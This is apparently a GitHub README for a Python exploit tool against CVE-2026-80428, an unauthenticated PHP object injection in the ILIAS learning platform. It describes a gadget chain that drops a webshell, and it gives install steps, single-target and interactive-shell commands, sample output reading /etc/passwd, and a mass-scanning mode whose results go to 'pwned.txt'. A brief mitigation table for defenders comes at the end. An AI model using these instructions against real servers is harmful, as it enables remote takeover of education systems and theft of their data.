
ILIAS β€ 9.21 / 10.9 / 11.2 β Unauthenticated PHP Object Injection (RCE)
CVE-2026-80428Vector: Shibboleth back-channel logout endpoint
Impact: Full Remote Code Execution as web server user
Severity: π΄ CRITICAL
CVE-2026-80428 is a critical unauthenticated PHP Object Injection vulnerability affecting ILIAS Learning Management System. By chaining a session poisoning primitive in
ltiauth.phpwith an unsafeunserialize()call inshib_logout.php, an attacker can achieve arbitrary file write and ultimately Remote Code Execution (RCE) β all without authentication.
| π― Parameter | π Value |
|---|---|
| CVE ID | CVE-2026-80428 |
| Type | PHP Object Injection β RCE |
| Auth Required | β None |
| Attack Vector | Network (HTTP/HTTPS) |
| CVSS Score | 9.8 (Critical) |
flowchart LR
A[π― Attacker] -->|1. Poison Session| B[ltiauth.php]
B -->|Serialized Guzzle Gadget| C[PHP Session Store]
C -->|2. Trigger unserialize| D[shib_logout.php]
D -->|Shibboleth SOAP Request| E[FileCookieJar Gadget]
E -->|3. file_put_contents| F[π Webshell Dropped]
F -->|4. Execute| G[π RCE]
style A fill:#ff4444,color:#fff
style F fill:#ff0000,color:#fff
style G fill:#8b0000,color:#fff
Step-by-step:
ltiauth.php stores a serialized payload inside the PHP session without validation.shib_logout.php processes a crafted Shibboleth LogoutNotification SOAP request and calls unserialize() on the session data.GuzzleHttp\Cookie\FileCookieJar gadget invokes file_put_contents() to drop a PHP webshell at an attacker-controlled path.| π·οΈ Branch | β Vulnerable | β Patched |
|---|---|---|
| 9.x | β€ 9.21 | β₯ 9.22 |
| 10.x | β€ 10.9 | β₯ 10.10 |
| 11.x | β€ 11.2 | β₯ 11.3 |
π₯ Core
|
π Quality of Life
|
# Clone the repository
git clone https://github.com/HackfutSecRoot/CVE-2026-80428.git
cd CVE-2026-80428
# Install dependencies
pip install requests urllib3
# (Optional) Make executable
chmod +x CVE-2026-80428.py
Requirements:
3.8+requestsurllib3python3 CVE-2026-80428.py <mode> [options]
python3 CVE-2026-80428.py exploit 10.10.10.20
python3 CVE-2026-80428.py exploit 10.10.10.20 --port 8443 --path /var/www/html
python3 CVE-2026-80428.py exploit target.com --host-header ilias.internal
Options:
| Flag | Description | Default |
|---|---|---|
--port | Target port | 443 |
--path | ILIAS docroot on disk | /var/www/ilias/public |
--host-header | Custom Host header | β |
--timeout | Request timeout (s) | 30 |
python3 CVE-2026-80428.py shell 10.10.10.20
ilias$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
ilias$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
...
ilias$ exit
python3 CVE-2026-80428.py mass -l targets.txt -t 32 -o pwned.txt
Options:
| Flag | Description | Default |
|---|---|---|
-l, --list | Required β Target list file | β |
-t, --threads | Concurrent workers | 20 |
-o, --output | Output file for vulnerable targets | ilias_vuln.txt |
--path | ILIAS docroot | /var/www/ilias/public |
--host-header | Custom Host header | β |
--timeout | Request timeout (s) | 30 |
Create a targets.txt file:
# Comments start with #
10.10.10.20
10.10.10.21:8443
https://ilias.example.com
http://lms.target.local
192.168.1.50:8080
# Mixed formats are supported
example.org
Supported formats:
hosthost:porthttp://hosthttps://host:porthost/path (path stripped) [ 42/500] VULN 10.10.10.20:443 https://10.10.10.20:443/util_a1b2c3.php?x=id
[ 43/500] SAFE 10.10.10.21:443 [PATCHED]
[ 44/500] ERR 10.10.10.22:8443 [Connection timed out]
[44/500] VULN:12 SAFE:30 ERR:2 8%
For defenders and system administrators:
| π οΈ Action | π Details |
|---|---|
| πΌ Upgrade ILIAS | 9.22 / 10.10 / 11.3 or later |
| π« Disable Shibboleth | If not used β remove shib_logout.php |
| π§± WAF Rules | Block malformed SOAP LogoutNotification payloads |
| π Restrict Write Access | Web root should not be writable by www-data |
| π Monitor | Look for unexpected .php files in upload/cache dirs |